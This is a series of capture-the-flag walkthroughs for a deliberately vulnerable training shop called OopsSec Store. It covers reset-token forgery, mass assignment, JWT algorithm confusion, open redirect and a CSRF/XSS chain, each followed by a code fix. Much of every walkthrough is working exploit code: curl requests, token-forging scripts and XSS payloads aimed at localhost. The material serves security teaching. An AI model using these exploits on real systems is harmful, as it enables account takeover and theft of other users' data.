XXE injection (CWE-611) -- the XML parser resolves external entity declarations, letting you read arbitrary files off the server

Remediation

To fix this in a real app:

Disable DTD processing in your XML parsers. Most libraries have flags to reject DOCTYPE declarations outright.
Disable external entity resolution. Tell the parser to ignore SYSTEM and PUBLIC entity declarations.
Use JSON for data exchange where you can. JSON doesn't have entity expansion.
Strip DOCTYPE declarations from XML before parsing.
Run the app process with minimal file system permissions. It shouldn't be able to read config files it doesn't need.

Lab

kOaDT / oss-oopssec-store

Security training for the apps you actually ship. Open your browser and start hacking.

OSS - OopsSec Store

Security training for the apps you actually ship.

36 challenges across web, API, authentication, business logic, cryptography, supply chain, AI agents and MCP

Break a deliberately vulnerable e-commerce app built on Next.js, React, TypeScript and Prisma.
Find the bugs. Exploit them. Understand why they work

Docker Hub · npm · Roadmap · Walkthroughs · Contributing · Good first issues

   ____  ____ ____     ____                  ____            ____  _
  / __ \/ __// __/    / __ \ ___   ___  ___ / __/ ___  ____ / __/ / /_ ___   ____ ___
 / /_/ /\ \ _\ \     / /_/ // _ \ / _ \(_-<_\ \  / -_)/ __/_\ \  / __// _ \ / __// -_)
 \____/___//___/     \____/ \___// .__/___/___/  \__/ \__//___/  \__/ \___//_/   \__/
                                /_/
# Start with Node.js
npx

…

View on GitHub

Disclaimers

Do not deploy OopsSec Store on a production server. This application is intentionally vulnerable and should only be used in isolated, local environments for educational purposes.

Feedback & Support

Having trouble following this writeup? Found a typo or have suggestions for improvement?

Feel free to open an issue or start a discussion on GitHub.

This reset token uses MD5 — but that's not the real bug

Oopssec Store — Mon, 07 Sep 2026 19:00:00 +0000

Exploit a predictable password reset token generation mechanism to take over any user account.

The password reset on OopsSec Store builds tokens from MD5(email + timestamp). The timestamp is right there in the API response. You can forge a valid reset token for any account in one request.

Lab setup

Start the lab:

npx create-oss-store@latest

Or with Docker (no Node.js required):

docker run -p 127.0.0.1:3000:3000 leogra/oss-oopssec-store

The app runs at http://localhost:3000.

Target identification

Step 1: Find the password reset flow

Go to /login. There's a "Forgot password?" link below the password field. Click it to reach /login/forgot-password.

Step 2: Watch the API response

Enter your own email (e.g., alice@example.com) and submit. Open DevTools (Network tab) and look at the response from POST /api/auth/forgot-password:

{
  "message": "If an account with that email exists, a password reset link has been sent.",
  "requestedAt": "2026-02-26T10:30:45.123Z"
}

That requestedAt field is a precise ISO timestamp. Why would a "check your email" response include the exact server time?

Exploitation

Step 3: Figure out the token algorithm

Dig into the source or experiment. The reset token is:

token = MD5(email + Math.floor(Date.now() / 1000))

The requestedAt timestamp tells you the exact second the token was created.

Step 4: Request a reset for any user

Pick a target. Alice works:

curl -s -X POST http://localhost:3000/api/auth/forgot-password \
  -H "Content-Type: application/json" \
  -d '{"email":"alice@example.com"}'

Grab the requestedAt value from the response.

Step 5: Forge the token

Convert the ISO timestamp to Unix seconds and compute the MD5 hash:

# Example: requestedAt = "2026-02-26T10:30:45.123Z"
TIMESTAMP=$(date -d "2026-02-26T10:30:45.123Z" +%s)
TOKEN=$(echo -n "alice@example.com${TIMESTAMP}" | md5sum | cut -d' ' -f1)
echo $TOKEN

Or with Node.js:

const crypto = require("crypto");
const requestedAt = "2026-02-26T10:30:45.123Z";
const timestamp = Math.floor(new Date(requestedAt).getTime() / 1000);
const token = crypto
  .createHash("md5")
  .update("alice@example.com" + timestamp)
  .digest("hex");
console.log(token);

Step 6: Reset the password and get the flag

curl -s -X POST http://localhost:3000/api/auth/reset-password \
  -H "Content-Type: application/json" \
  -d "{\"token\":\"${TOKEN}\",\"password\":\"hacked123\"}"

{
  "message": "Your password has been reset successfully.",
  "flag": "OSS{1ns3cur3_p4ssw0rd_r3s3t}"
}

Bonus: admin account takeover

Same technique, different email. Request a reset for admin@oss.com, forge the token, reset the password, log in at /login.

Vulnerable code analysis

The bug is in the token generation at /app/api/auth/forgot-password/route.ts:

// app/api/auth/forgot-password/route.ts
const now = new Date();
const requestedAt = now.toISOString();
const timestamp = Math.floor(now.getTime() / 1000);

const token = hashMD5(email + timestamp);

return NextResponse.json({
  message:
    "If an account with that email exists, a password reset link has been sent.",
  requestedAt, // This leaks the timestamp used in token generation
});

Both inputs to the hash are known to the attacker. They sent the email in the request. The server hands back the timestamp in the response. That's everything you need.

Remediation

Generate tokens with crypto.randomBytes instead of a deterministic hash:

import crypto from "crypto";

const token = crypto.randomBytes(32).toString("hex");

Drop the requestedAt field from the response, and add rate limiting on the endpoint.

Lab

kOaDT / oss-oopssec-store

Security training for the apps you actually ship. Open your browser and start hacking.

OSS - OopsSec Store

Security training for the apps you actually ship.

36 challenges across web, API, authentication, business logic, cryptography, supply chain, AI agents and MCP

Break a deliberately vulnerable e-commerce app built on Next.js, React, TypeScript and Prisma.
Find the bugs. Exploit them. Understand why they work

Docker Hub · npm · Roadmap · Walkthroughs · Contributing · Good first issues

   ____  ____ ____     ____                  ____            ____  _
  / __ \/ __// __/    / __ \ ___   ___  ___ / __/ ___  ____ / __/ / /_ ___   ____ ___
 / /_/ /\ \ _\ \     / /_/ // _ \ / _ \(_-<_\ \  / -_)/ __/_\ \  / __// _ \ / __// -_)
 \____/___//___/     \____/ \___// .__/___/___/  \__/ \__//___/  \__/ \___//_/   \__/
                                /_/
# Start with Node.js
npx

…

View on GitHub

Disclaimers

Do not deploy OopsSec Store on a production server. This application is intentionally vulnerable and should only be used in isolated, local environments for educational purposes.

Feedback & Support

Having trouble following this writeup? Found a typo or have suggestions for improvement?

Feel free to open an issue or start a discussion on GitHub.

How one email field in a support form handed me the admin account

Oopssec Store — Tue, 01 Sep 2026 19:00:00 +0000

Exploiting a mass assignment flaw in a support access token endpoint to generate a session for the admin account and access the admin dashboard.

OopsSec Store has a support access feature that lets users generate tokens so customer support can log into their accounts. The token generation endpoint accepts an email parameter from the request body without any ownership check, which means any authenticated user can generate a support token for any account, including the administrator.

Lab setup

From an empty directory:

npx create-oss-store oss-store
cd oss-store
npm start

Or with Docker (no Node.js required):

docker run -p 127.0.0.1:3000:3000 leogra/oss-oopssec-store

Head to http://localhost:3000.

Target identification

The user profile page has a "Support Access" tab. This feature generates a temporary token URL that a support agent can use to log into the account without a password, a common pattern in SaaS applications.

The endpoint behind it:

POST /api/user/support-access

Clicking "Generate Support Access Token" creates a JWT-based token tied to the authenticated user's account. A support agent visits the generated URL and gets a full session.

The problem is that the endpoint blindly trusts the request body to determine which account the token is generated for.

Exploitation

Step 1: Create a regular account

Step 2: Locate the support access feature

Go to the profile page and open the Support Access tab. The "Generate Support Access Token" button triggers a POST request to /api/user/support-access.

Step 3: Intercept the token generation request

Open DevTools (Network tab) or set up Burp Suite as a proxy before clicking the button. The default request body is either empty or contains the authenticated user's email.

Step 4: Replay the request with the admin email

Replay the POST request with a modified body:

{
  "email": "admin@oss.com"
}

With curl:

# Log in as a regular user to grab the session cookie
curl -c cookies.txt -X POST http://localhost:3000/api/auth/login \
  -H "Content-Type: application/json" \
  -d '{"email":"alice@example.com","password":"iloveduck"}'

# Generate a support token for the admin account
curl -b cookies.txt -X POST http://localhost:3000/api/user/support-access \
  -H "Content-Type: application/json" \
  -d '{"email":"admin@oss.com"}'

The response contains a support token tied to the admin account instead of the authenticated user's account.

Step 5: Log in as admin

Open the supportLoginUrl from the response in a browser:

http://localhost:3000/support-login?token=<the-token-from-step-4>

The application validates the token, resolves it to the admin user, and creates a full authenticated session.

Step 6: Access the admin dashboard

Navigate to http://localhost:3000/admin. The flag is on the dashboard.

Vulnerable code analysis

The root cause is a mass assignment flaw in the token generation endpoint:

const targetEmail = body.email || user.email;

The server accepts an email field from the request body and uses it to determine which account the token is generated for. If no email is provided, it defaults to the authenticated user's email. If one is provided, it generates a token for that account with no ownership check.

The mass assignment is the primary flaw, but the endpoint has other problems that make exploitation worse.

Tokens are valid for 365 days. A support token should expire in hours, not a year. An attacker who generates one token has persistent access to the target account for as long as it lives.

Revocation is cosmetic. The application has a "Revoke" button that marks the token as revoked in the database, but the support login endpoint never checks that flag. A revoked token still works.

There is also no rate limiting on the endpoint. An attacker can generate tokens for every user in the system in a single loop.

Historical context

Egor Homakov exploited the same kind of mass assignment flaw on GitHub in 2012, adding himself as an admin on the Rails repository. The mechanism was the same: the server used client-supplied input to determine authorization where it should not have. This class of bug keeps showing up in support access and impersonation features because developers assume the frontend is the only caller.

Remediation

Remove the mass assignment

The server already knows who the authenticated user is. Use that:

const targetEmail = user.email; // Always use the authenticated user's email

Reduce token lifetime

Twelve hours is generous for a support session. Some applications use one to two hours:

const TOKEN_EXPIRY_HOURS = 12;
expiresAt.setHours(expiresAt.getHours() + TOKEN_EXPIRY_HOURS);

Enforce revocation checks

The support login handler must verify the revocation flag before creating a session:

if (supportToken.revoked) {
  return NextResponse.json({ error: "Token revoked" }, { status: 401 });
}

Additional hardening

Rate limiting on the token generation endpoint would also help. One token per user per hour is more than enough. On top of that, requiring re-authentication (password confirmation) before generating support tokens would block any attacker who only has session cookies.

Lab

kOaDT / oss-oopssec-store

Security training for the apps you actually ship. Open your browser and start hacking.

OSS - OopsSec Store

Security training for the apps you actually ship.

36 challenges across web, API, authentication, business logic, cryptography, supply chain, AI agents and MCP

Break a deliberately vulnerable e-commerce app built on Next.js, React, TypeScript and Prisma.
Find the bugs. Exploit them. Understand why they work

Docker Hub · npm · Roadmap · Walkthroughs · Contributing · Good first issues

   ____  ____ ____     ____                  ____            ____  _
  / __ \/ __// __/    / __ \ ___   ___  ___ / __/ ___  ____ / __/ / /_ ___   ____ ___
 / /_/ /\ \ _\ \     / /_/ // _ \ / _ \(_-<_\ \  / -_)/ __/_\ \  / __// _ \ / __// -_)
 \____/___//___/     \____/ \___// .__/___/___/  \__/ \__//___/  \__/ \___//_/   \__/
                                /_/
# Start with Node.js
npx

…

View on GitHub

Disclaimers

Do not deploy OopsSec Store on a production server. This application is intentionally vulnerable and should only be used in isolated, local environments for educational purposes.

Feedback & Support

Having trouble following this writeup? Found a typo or have suggestions for improvement?

Feel free to open an issue or start a discussion on GitHub.

Publishing your public key is safe. Until your verifier accepts HS256.

Oopssec Store — Wed, 26 Aug 2026 19:00:00 +0000

OopsSec Store publishes its partner signing key on purpose, so partners can verify webhooks. Its token verifier also accepts HS256. Those two facts together let anyone mint a token for any supplier and read their purchase orders.

OopsSec Store runs a Partner API for its suppliers. It hands out a sandbox token to anyone who clicks a button, it authenticates with RS256-signed JWTs, and it publishes its public key at /.well-known/jwks.json so partners can verify webhook callbacks. Every one of those decisions is correct on its own.

The verifier, though, reads the alg field out of the token header and does what it says. Give it RS256 and it calls crypto.verify. Give it HS256 and it calls crypto.createHmac — with the same key. That key is public. We can read it.

Lab setup

From an empty directory:

npx create-oss-store oss-store
cd oss-store
npm start

Or with Docker (no Node.js required):

docker run -p 127.0.0.1:3000:3000 leogra/oss-oopssec-store

The app runs at http://localhost:3000.

Target identification

The footer has a "Partner API" link under Navigation. It leads to /partners, which reads like any B2B integration page: what the API does, how to authenticate, an endpoint table, a webhook section, a changelog, and a directory of suppliers already using it.

Three things on that page are worth writing down.

The sub claim is the identity. The authentication section says it outright:

The sub claim is your partner ID and decides which purchase orders you can read. Endpoints take no partner parameter: whoever the token says you are is who you are.

No ?supplierId= to tamper with. If we want someone else's data, we have to change the token itself.

The public key is published deliberately. The webhook section explains why:

When a purchase order changes state we POST it to your callback URL and sign the body with the same key pair that signs access tokens. […] So we publish that public key, deliberately and permanently.

Two links: /.well-known/jwks.json and /.well-known/partner-signing-key.pem.

Two algorithms are in play. The changelog:

v2 — Current. Access tokens are signed with RS256. […]
v1 — Deprecated. Access tokens were signed with HS256 using a shared secret issued per supplier. The gateway still accepts them while the last integrations migrate, so the v2 rollout did not need a flag day.

A verifier that accepts both an asymmetric and a symmetric algorithm is a shape worth being suspicious about. Hold that thought.

The partner directory lists who else is on the API:

Supplier	Partner ID	Categories
Knead to Know Bakehouse	`SUP-001`	Bakery, viennoiserie
Lettuce Encrypt Organics	`SUP-LETTUCE`	Produce, dairy
Brie Force Fromagerie	`SUP-BRIE`	Cheese, charcuterie

Those are the values we would put in sub if we could sign a token.

Getting a working token

Click Generate sandbox token on /partners, or call the endpoint directly:

TOKEN=$(curl -s -X POST http://localhost:3000/api/partner/sandbox-token | jq -r .access_token)
echo $TOKEN

Use it:

curl -s -H "Authorization: Bearer $TOKEN" \
  http://localhost:3000/api/partner/orders | jq

{
  "partnerId": "SUP-SANDBOX",
  "count": 3,
  "orders": [
    {
      "purchaseOrderId": "PO-SBX-0003",
      "total": 1310.75,
      "notes": "Sandbox fixture — not a real commitment.",
      "createdAt": "2026-08-09T21:19:29.251Z"
    }
  ]
}

Dummy data, as advertised. Now decode the token:

echo $TOKEN | cut -d. -f1 | base64 -d 2>/dev/null; echo
echo $TOKEN | cut -d. -f2 | base64 -d 2>/dev/null; echo

{ "alg": "RS256", "typ": "JWT", "kid": "ZTLqFfje…" }
{
  "iss": "https://oopssec.store",
  "sub": "SUP-SANDBOX",
  "scope": "orders:read",
  "iat": 1786310396,
  "exp": 1786313996
}

sub is SUP-SANDBOX. Using tool like jwt.io, change it to SUP-LETTUCE and the signature breaks — we do not have the private key.

Unless we do not need it.

Understanding the vulnerability

One key, two meanings

RS256 is asymmetric. The private key signs, the public key verifies, and knowing the public key tells you nothing useful about how to sign. That asymmetry is what makes it safe to publish a JWKS.

HS256 is symmetric. HMAC-SHA256(secret, message) is computed the same way by whoever signs and whoever verifies. There is one key and it is a secret.

Now suppose a verifier accepts both, and both branches read the same variable — a variable that holds the RSA public key. Under the RS256 branch, that variable is public verification material, which is fine. Under the HS256 branch, the same bytes are now "the secret". And they are printed on a web page.

So: take the token, rewrite the header to say HS256, put whatever we like in the payload, and sign it with HMAC-SHA256 keyed on the published public key. The server reads alg: HS256, computes HMAC-SHA256(public key, header.payload), gets the same value we did, and accepts.

What the code actually does

lib/partner-auth.ts:

const algorithm = decodeSegment<{ alg?: string }>(header)?.alg;
const key = getPartnerTokenKey();

let signatureIsValid: boolean;
if (algorithm === "RS256") {
  signatureIsValid = crypto.verify(
    "RSA-SHA256",
    Buffer.from(signingInput),
    { key },
    Buffer.from(signature, "base64url")
  );
} else if (algorithm === "HS256") {
  signatureIsValid =
    crypto
      .createHmac("sha256", key)
      .update(signingInput)
      .digest("base64url") === signature;
} else {
  return null;
}

One key. Two algorithms. getPartnerTokenKey() returns the RSA public key PEM — the exact string served at /.well-known/partner-signing-key.pem.

This is not a contrived shape. It is what an unfinished migration looks like: the HS256 branch predates the RS256 one, the variable that used to hold the per-supplier shared secret was repointed at the new key material, and the branch nobody wanted to break stayed.

Exploitation

Step 1: Get the exact key bytes

This is the fiddly part. createHmac keys on bytes, so our HMAC key has to be byte-for-byte what the server passes in: the full PEM, -----BEGIN PUBLIC KEY----- header included, base64 line breaks preserved, trailing newline present. One missing \n and the signature simply will not match, with no error message to tell you why.

The instructive route is to rebuild the PEM from the JWKS, since that is what you would have to do against a real target that only publishes a JWK:

curl -s http://localhost:3000/.well-known/jwks.json | jq

{
  "keys": [
    {
      "kty": "RSA",
      "n": "qNe4nHCHMZxQMJb_-I2MWckKsUT-16_Mjy64fqcXpiGu6HvEQStT…",
      "e": "AQAB",
      "use": "sig",
      "alg": "RS256",
      "kid": "ZTLqFfjebiIijPCnaGTYUBOeVqayDNg2RmYy0yc3A58"
    }
  ]
}

Node converts a JWK to SPKI PEM without any manual DER assembly:

import crypto from "crypto";

const { keys } = await (
  await fetch("http://localhost:3000/.well-known/jwks.json")
).json();

const pem = crypto
  .createPublicKey({ key: keys[0], format: "jwk" })
  .export({ type: "spki", format: "pem" });

In Python, jwcrypto or python-jose do the same job:

from jwcrypto import jwk
import requests

jwks = requests.get("http://localhost:3000/.well-known/jwks.json").json()
key = jwk.JWK(**jwks["keys"][0])
pem = key.export_to_pem()  # bytes, SPKI, trailing newline included

If the encoding fights you, take the shortcut — OopsSec Store also serves the raw PEM, exactly as many real providers do:

curl -s http://localhost:3000/.well-known/partner-signing-key.pem > key.pem

Both routes produce identical bytes. Verify it if you want to be sure:

diff <(curl -s http://localhost:3000/.well-known/partner-signing-key.pem) key.pem && echo "identical"

Step 2: Forge the token

import crypto from "crypto";

const BASE = "http://localhost:3000";
const TARGET = "SUP-LETTUCE";

const pem = await (
  await fetch(`${BASE}/.well-known/partner-signing-key.pem`)
).text();

const b64 = obj => Buffer.from(JSON.stringify(obj)).toString("base64url");
const now = Math.floor(Date.now() / 1000);

const header = b64({ alg: "HS256", typ: "JWT" });
const payload = b64({
  iss: "https://oopssec.store",
  sub: TARGET,
  scope: "orders:read",
  iat: now,
  exp: now + 3600,
});

const signature = crypto
  .createHmac("sha256", pem)
  .update(`${header}.${payload}`)
  .digest("base64url");

console.log(`${header}.${payload}.${signature}`);

Note digest("base64url"), not base64. JWT signatures are base64url: + becomes -, / becomes _, and the = padding is stripped. Getting this wrong is the second most common reason a forgery "mysteriously" fails.

The kid header can be dropped. The verifier never looks at it, and leaving it in would be claiming our HMAC was produced by an RSA key.

jwt_tool automates the whole thing if you would rather not write the script:

python3 jwt_tool.py $TOKEN -X k -pk key.pem -I -pc sub -pv SUP-LETTUCE

Step 3: Read the competitor's purchase orders

curl -s -H "Authorization: Bearer $FORGED" \
  http://localhost:3000/api/partner/orders | jq

There it is: another supplier's contract terms, landed costs and margins — and the flag. Of all the partners on the directory, the one that got read was Lettuce Encrypt.

OSS{jwt_4lg_c0nfus10n}

The other two directory entries work the same way. Swap sub and you have read the whole supplier base.

Remediation

Pin one algorithm

The most important one. The verifier decides how a token is signed. Never the token.

const EXPECTED_ALGORITHM = "RS256";

const header = decodeSegment<{ alg?: string }>(encodedHeader);
if (header?.alg !== EXPECTED_ALGORITHM) {
  return null;
}

With a library, pass the allow-list explicitly and keep exactly one entry in it:

jwt.verify(token, publicKey, { algorithms: ["RS256"] });

An allow-list with two families in it — ["RS256", "HS256"] — is this vulnerability, spelled differently. That array is normally added during a migration and then forgotten. CVE-2015-9235 and CVE-2022-23540 are both this bug at library level.

Keep signing and verification keys in separate variables

const PARTNER_SIGNING_PRIVATE_KEY = getPartnerPrivateKey();
const PARTNER_VERIFICATION_PUBLIC_KEY = getPartnerTokenKey();

Never a generic key that both code paths reach for. This is the structural fix rather than the tactical one: with one variable per role, one call site each, and types that do not interchange, the bug becomes unwriteable. If a migration truly needs two algorithms at once, give each its own verifier function with its own key variable, and pick between them on something the attacker does not control — the API version in the URL, or a kid looked up in a key store that records which algorithm that key may be used with.

While you are in there

Verify iss, aud and exp, and reject tokens that omit them.
Compare MACs with crypto.timingSafeEqual, not ===.
Reject alg: none explicitly; never let a missing alg fall through to a default.
Treat the JWKS as a key store, not a key source. A token's jku or jwk header must never tell you where to fetch verification material.

Takeaways

A published public key is not a leak. It is the mechanism working as designed — JWKS endpoints exist precisely so that anyone can verify.
"Public" and "harmless" are different claims. Public key material becomes dangerous the moment a code path is willing to treat it as a secret.
Algorithm agility in a verifier is a liability, not a feature. Every extra accepted alg is another way for the token to choose how it gets checked.
Incomplete migrations are where this lives. The v1 branch nobody wanted to break outlived the reason it existed, which is how most of these bugs reach production.

References

Lab

kOaDT / oss-oopssec-store

Security training for the apps you actually ship. Open your browser and start hacking.

OSS - OopsSec Store

Security training for the apps you actually ship.

36 challenges across web, API, authentication, business logic, cryptography, supply chain, AI agents and MCP

Break a deliberately vulnerable e-commerce app built on Next.js, React, TypeScript and Prisma.
Find the bugs. Exploit them. Understand why they work

Docker Hub · npm · Roadmap · Walkthroughs · Contributing · Good first issues

   ____  ____ ____     ____                  ____            ____  _
  / __ \/ __// __/    / __ \ ___   ___  ___ / __/ ___  ____ / __/ / /_ ___   ____ ___
 / /_/ /\ \ _\ \     / /_/ // _ \ / _ \(_-<_\ \  / -_)/ __/_\ \  / __// _ \ / __// -_)
 \____/___//___/     \____/ \___// .__/___/___/  \__/ \__//___/  \__/ \___//_/   \__/
                                /_/
# Start with Node.js
npx

…

View on GitHub

Disclaimers

Do not deploy OopsSec Store on a production server. This application is intentionally vulnerable and should only be used in isolated, local environments for educational purposes.

Feedback & Support

Having trouble following this writeup? Found a typo or have suggestions for improvement?

Feel free to open an issue or start a discussion on GitHub.

How one unchecked redirect param let me into an internal OAuth page

Oopssec Store — Fri, 14 Aug 2026 19:00:00 +0000

Exploit an unvalidated redirect parameter on OopsSec Store's login page to reach a restricted internal OAuth callback endpoint.

OopsSec Store's login page accepts a redirect query parameter that isn't validated after authentication. We'll abuse this to navigate to an internal endpoint that's otherwise inaccessible.

Lab setup

From an empty directory:

npx create-oss-store oss-store
cd oss-store
npm start

Or with Docker (no Node.js required):

docker run -p 127.0.0.1:3000:3000 leogra/oss-oopssec-store

The application runs at http://localhost:3000.

Target identification

The app has a login page at http://localhost:3000/login. Try visiting /profile while logged out and you'll get bounced to:

http://localhost:3000/login?redirect=%2Fprofile

That redirect parameter tells the app where to send you after login.

Exploitation

Step 1: Confirming the redirect behavior

First, verify the redirect actually works:

Open an incognito window
Go to http://localhost:3000/profile
Notice you land on /login?redirect=%2Fprofile
Log in with alice@example.com / iloveduck
You end up on /profile

So the parameter does control post-login navigation.

Step 2: Testing for open redirect

Now try an external URL:

Go to http://localhost:3000/login?redirect=https://github.com/kOaDT/oss-oopssec-store
Log in
You land on GitHub

No validation at all. The app redirects to an external domain.

Step 3: Discovering internal endpoints

With the open redirect confirmed, let's look for internal resources worth targeting:

gobuster dir -u http://localhost:3000/internal -w /usr/share/wordlists/dirb/common.txt

This turns up /internal/oauth/callback. Visiting it directly while authenticated just kicks you back to the homepage. The page exists, but it won't render through normal navigation.

Step 4: Exploiting the redirect to access the internal page

Here's the trick: the internal callback page needs a specific cookie that only gets set during login when a redirect parameter is present.

Go to http://localhost:3000/login?redirect=/internal/oauth/callback
Log in with alice@example.com / iloveduck
You land on /internal/oauth/callback

Step 5: Retrieving the flag

This time the page renders. It shows an internal debug interface with OAuth provider status and the flag:

OSS{0p3n_r3d1r3ct_l0g1n_byp4ss}

Vulnerable code analysis

In the login form component, the code grabs the redirect parameter and navigates to it with zero checks:

const redirect = searchParams.get("redirect");

// After successful login:
if (redirect) {
  window.location.href = redirect;
} else if (data.user?.role === "ADMIN") {
  router.push("/admin");
} else {
  router.push("/");
}

window.location.href will go anywhere. Relative paths, same-origin, external domains. Nothing stops it.

The login API also sets a short-lived oauth_callback cookie whenever a redirect parameter is present. The internal callback page checks for this cookie, which is why you can't reach it by just typing the URL in your browser. You have to go through the login flow.

Remediation

The fix: validate the redirect target before navigating.

Relative path validation

The simplest approach. Only allow paths starting with a single /:

function isSafeRedirect(url: string): boolean {
  return url.startsWith("/") && !url.startsWith("//");
}

if (redirect && isSafeRedirect(redirect)) {
  router.push(redirect);
}

URL parsing and origin check

More robust. Parse the URL and compare origins:

function isSameOrigin(url: string): boolean {
  try {
    const parsed = new URL(url, window.location.origin);
    return parsed.origin === window.location.origin;
  } catch {
    return false;
  }
}

Allowlist approach

If you only have a handful of valid destinations, just list them:

const ALLOWED_REDIRECTS = ["/", "/profile", "/admin", "/orders", "/cart"];

if (redirect && ALLOWED_REDIRECTS.includes(redirect)) {
  router.push(redirect);
}

Whichever approach you pick, using router.push() instead of window.location.href also helps since Next.js router only handles same-origin routes.

Lab

kOaDT / oss-oopssec-store

Security training for the apps you actually ship. Open your browser and start hacking.

OSS - OopsSec Store

Security training for the apps you actually ship.

36 challenges across web, API, authentication, business logic, cryptography, supply chain, AI agents and MCP

Break a deliberately vulnerable e-commerce app built on Next.js, React, TypeScript and Prisma.
Find the bugs. Exploit them. Understand why they work

Docker Hub · npm · Roadmap · Walkthroughs · Contributing · Good first issues

   ____  ____ ____     ____                  ____            ____  _
  / __ \/ __// __/    / __ \ ___   ___  ___ / __/ ___  ____ / __/ / /_ ___   ____ ___
 / /_/ /\ \ _\ \     / /_/ // _ \ / _ \(_-<_\ \  / -_)/ __/_\ \  / __// _ \ / __// -_)
 \____/___//___/     \____/ \___// .__/___/___/  \__/ \__//___/  \__/ \___//_/   \__/
                                /_/
# Start with Node.js
npx

…

View on GitHub

Disclaimers

Do not deploy OopsSec Store on a production server. This application is intentionally vulnerable and should only be used in isolated, local environments for educational purposes.

Feedback & Support

Having trouble following this writeup? Found a typo or have suggestions for improvement?

Feel free to open an issue or start a discussion on GitHub.

Self-XSS is not "won't fix" — here's the CSRF that weaponizes it

Oopssec Store — Sat, 08 Aug 2026 19:00:00 +0000

A Self-XSS in the profile bio editor is harmless on its own. Chain it with a missing CSRF token on the update endpoint and you get cross-user profile takeover.

OopsSec Store's profile page renders the user's bio with dangerouslySetInnerHTML, no sanitization. On its own the XSS is limited to self-injection, but the profile update endpoint has no CSRF protection either. Chain the two and an attacker can plant a stored XSS payload in any logged-in user's profile just by getting them to visit a page.

Vulnerability overview

Two separate issues, neither interesting on its own:

Self-XSS in the bio field. The profile page renders the bio with React's dangerouslySetInnerHTML. Whatever HTML the user saves gets rendered as-is. Since it only affects your own profile, this is typically classified as Self-XSS and deprioritized.
No CSRF protection on profile update. POST /api/user/profile authenticates via an HTTP-only cookie but doesn't require a CSRF token, a same-origin check, or any anti-forgery mechanism. Any cross-origin page can submit a profile update on behalf of a logged-in user.

The Self-XSS only fires in the attacker's own browser. The CSRF can only update text fields. But chained together, an attacker can inject arbitrary JavaScript into a victim's profile that runs every time anyone loads that profile page.

Lab setup

From an empty directory:

npx create-oss-store oss-store
cd oss-store
npm start

Or with Docker (no Node.js required):

docker run -p 127.0.0.1:3000:3000 leogra/oss-oopssec-store

The app runs at http://localhost:3000.

Flag 1: Self-XSS in the profile bio (Easy)

Step 1: Log in

Email: alice@example.com
Password: iloveduck

Step 2: Navigate to the profile page

Go to /profile. There's a form with a bio textarea.

Step 3: Inject the XSS payload

In the bio field, enter any HTML payload. For example:

<img src="x" onerror="alert('XSS')" />

Click Save Profile.

Step 4: Retrieve the flag

The API detects the HTML tag in the bio and returns the flag.

Once the page re-renders with the saved bio, the <img> tag tries to load an invalid src, the onerror handler fires, and the alert() pops up. XSS confirmed.

Why this payload works

The bio is rendered with dangerouslySetInnerHTML, which inserts raw HTML into the DOM. People sometimes assume <script> tags will execute here -- they won't. When HTML is inserted via innerHTML (which is what dangerouslySetInnerHTML uses under the hood), the browser parses the markup but skips <script> elements. Event handler attributes like onerror, onload, and onmouseover do fire, because they're bound as the elements are created in the DOM.

<img src=x> is a standard XSS vector: the broken image source guarantees the onerror handler runs immediately.

Flag 2: CSRF + Self-XSS chain (Hard)

This flag requires chaining the Self-XSS with the missing CSRF protection. You need admin access first.

Step 1: Gain admin access

Use one of the other vulnerabilities in the lab to escalate to admin. Mass assignment on the registration endpoint or JWT secret forgery both work. The goal is to get into the admin panel.

Step 2: Find the hidden exploit link

With admin access, open the admin page and view its source. You'll find a hidden link pointing to:

/exploits/csrf-profile-takeover.html

This is an example of phishing page that runs the full attack.

Step 3: Visit the exploit page while logged in

Open /exploits/csrf-profile-takeover.html in your browser while still authenticated. The page looks like a LinkedIn notification about a profile endorsement.

Step 4: Trigger the attack

Put yourself in the victim's shoes: you received this notification and, trusting the familiar LinkedIn interface, you click the "View Profile" button. Behind the scenes, the page sends a POST request to /api/user/profile with credentials: "include", so the browser attaches your authentication cookie automatically. The request body sets the bio to an XSS payload:

{
  "bio": "<img src=x onerror=\"alert('XSS executed in profile context')\">"
}

Step 5: Retrieve the flag

The endpoint checks the Referer header. Since the request didn't come from /profile, the server marks the account as CSRF-exploited. The phishing page then redirects you to /profile. The profile page sees the CSRF flag on the account and displays it. You'll also see the stored XSS fire in the bio area.

Why this works

The profile update endpoint uses cookie-based authentication with sameSite: "lax". There are two ways to exploit this:

Same-origin fetch (used by the exploit page). Because the exploit page is served from the same origin (/exploits/csrf-profile-takeover.html), fetch with credentials: "include" works. The browser treats it as a same-origin request and attaches the cookie. This scenario is less realistic in practice since it requires the attacker to host a page on the target's own domain.
Cross-origin form submission. Even from a completely different origin, a classic <form method="POST"> auto-submit would work. With sameSite: "lax", the browser sends cookies on top-level navigations — and a form submission that redirects the user counts as one. This is possible because the endpoint accepts application/x-www-form-urlencoded in addition to JSON.

In both cases, the endpoint has no CSRF token, no Origin header check, and no Referer validation, so the request goes through.

Remediation

Sanitize user-generated HTML

Don't pass untrusted content to dangerouslySetInnerHTML. Use a library like DOMPurify to strip dangerous tags and attributes before rendering:

import DOMPurify from "dompurify";

<div dangerouslySetInnerHTML={{ __html: DOMPurify.sanitize(bio) }} />

Or skip dangerouslySetInnerHTML entirely and render the bio as plain text.

Add CSRF protection

Add anti-CSRF tokens to all state-changing endpoints. The usual options: synchronizer tokens (one per session, validated server-side), double-submit cookies (random value in both cookie and header, matched on the server), or setting sameSite: "strict" on the auth cookie to block cross-site requests entirely.

// Example: validate CSRF token in the profile update handler
const csrfToken = request.headers.get("X-CSRF-Token");
const expectedToken = session.csrfToken;

if (!csrfToken || csrfToken !== expectedToken) {
  return NextResponse.json({ error: "Invalid CSRF token" }, { status: 403 });
}

Fix both

Even with CSRF protection, fix the XSS independently. If something else bypasses the CSRF defense later, the unsanitized bio is exploitable again.

References

Lab

kOaDT / oss-oopssec-store

Security training for the apps you actually ship. Open your browser and start hacking.

OSS - OopsSec Store

Security training for the apps you actually ship.

36 challenges across web, API, authentication, business logic, cryptography, supply chain, AI agents and MCP

Break a deliberately vulnerable e-commerce app built on Next.js, React, TypeScript and Prisma.
Find the bugs. Exploit them. Understand why they work

Docker Hub · npm · Roadmap · Walkthroughs · Contributing · Good first issues

   ____  ____ ____     ____                  ____            ____  _
  / __ \/ __// __/    / __ \ ___   ___  ___ / __/ ___  ____ / __/ / /_ ___   ____ ___
 / /_/ /\ \ _\ \     / /_/ // _ \ / _ \(_-<_\ \  / -_)/ __/_\ \  / __// _ \ / __// -_)
